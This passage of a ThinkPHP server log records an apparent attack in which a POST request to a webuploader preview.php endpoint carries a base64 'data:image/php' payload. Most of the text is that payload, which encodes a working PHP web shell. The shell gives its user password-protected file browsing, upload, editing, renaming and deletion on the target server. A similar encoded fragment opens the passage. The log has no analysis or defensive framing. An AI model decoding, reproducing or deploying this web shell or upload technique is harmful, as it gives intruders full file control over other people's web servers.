CAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:39+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/manage/webuploader/server/preview.php [运行时间:0.003238s] [吞吐率:308.84req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9